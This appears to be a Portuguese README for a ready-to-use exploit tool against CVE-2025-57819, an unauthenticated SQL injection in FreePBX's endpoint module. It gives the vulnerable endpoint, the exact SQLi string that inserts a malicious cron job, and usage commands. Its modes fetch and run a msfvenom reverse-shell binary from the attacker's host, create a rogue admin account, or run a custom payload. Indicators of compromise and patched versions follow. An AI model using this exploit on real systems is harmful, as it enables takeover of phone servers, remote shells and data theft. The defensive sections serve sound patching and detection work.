CVE-2025-57819 — SQLi de Pré-Autenticação no FreePBX para RCE

Um exploit all-in-one para CVE-2025-57819, uma injeção SQL não autenticada no módulo endpoint do FreePBX que leva à execução remota de código via injeção de jobs de cron.

• CVSS: 9.8 (Crítico) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CISA KEV: Adicionado em 29 de agosto de 2025
• Afetados: Sangoma FreePBX 15, 16, 17 com módulo endpoint < 15.0.66 / < 16.0.89 / < 17.0.3
• Corrigido em: endpoint 15.0.66, 16.0.89, 17.0.3

Resumo da Vulnerabilidade

O FreePBX expõe o endpoint admin/ajax.php?module=FreePBX\modules\endpoint\ajax sem exigir autenticação (CWE-288). O parâmetro brand é passado diretamente para consultas SQL sem sanitização (CWE-89), permitindo que um atacante injete instruções SQL arbitrárias no banco de dados asterisk.

Cadeia de ataque

[Requisição HTTP não autenticada]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
Injeção SQL na tabela `cron_jobs`
(INSERT com comando controlado pelo atacante, agendamento="* * * * *")
        │
        ▼
Em cerca de 60 segundos, o daemon de cron executa o comando como o usuário `asterisk`
        │
        ▼
Execução Remota de Código

Capacidades do Exploit

Este exploit suporta três modos:

1. Reverse Shell em Estágios (padrão)

1. Gera um binário linux/x64/shell_reverse_tcp via msfvenom
2. Inicia um servidor HTTP para servir o binário
3. Inicia um listener TCP para o shell
4. Injeta um job de cron via SQLi que baixa + executa o binário
5. Quando o cron dispara, você obtém um shell interativo
6. Remove o job de cron injetado ao sair

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

Exemplo:

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

Isso usa a porta 4452 para o reverse shell e a 4453 para o servidor HTTP de estágio.

2. Criação de Usuário Administrador (--create-user)

Cria uma nova conta de administrador do FreePBX via SQLi. Sem reverse shell, sem reachback, sem binários necessários.

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. Payload Personalizado (--payload <path>)

Use seu próprio binário ELF em vez de gerar um com msfvenom.

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

Requisitos

• Python 3.6+
• Biblioteca requests (pip install requests)
• Para o modo em estágios: Metasploit (msfvenom) ou um payload personalizado com --payload
• Para o modo --create-user: Nada além de Python + requests

Como funciona

Vetor de Injeção SQL

O endpoint vulnerável é:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

O parâmetro brand é concatenado em um INSERT SQL sem sanitização. O exploit elabora a injeção da seguinte forma:

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

O -- final comenta o restante da consulta original.

Execução do cron

O FreePBX usa o subsistema de cron do Asterisk. Os jobs de cron são verificados a cada minuto. Quando o agendamento (* * * * *) do job inserido corresponde, o comando é executado como o usuário de sistema asterisk.

Limpeza

Após o encerramento da sessão (ou em caso de timeout), o exploit envia um SQLi de DELETE para remover o job de cron injetado de cron_jobs.

Indicadores de Comprometimento

• Entradas inesperadas em asterisk.cron_jobs com nomes aleatórios de módulo/job
• Requisições HTTP de saída do servidor FreePBX para IPs externos em portas altas
• Conexões de reverse shell a partir do usuário asterisk
• Novas contas de administrador aleatórias em ampusers (se o modo --create-user for usado)

Mitigação

Atualize o módulo endpoint para as versões corrigidas:

• 15: >= 15.0.66
• 16: >= 16.0.89
• 17: >= 17.0.3

Referências

• NVD — CVE-2025-57819
• GitHub Security Advisory — GHSA-m42g-xg4c-5f3h
• CISA Known Exploited Vulnerabilities
• watchTowr Labs
• FreePBX Community Advisory

Aviso Legal

Este software é fornecido apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não é responsável por qualquer uso indevido.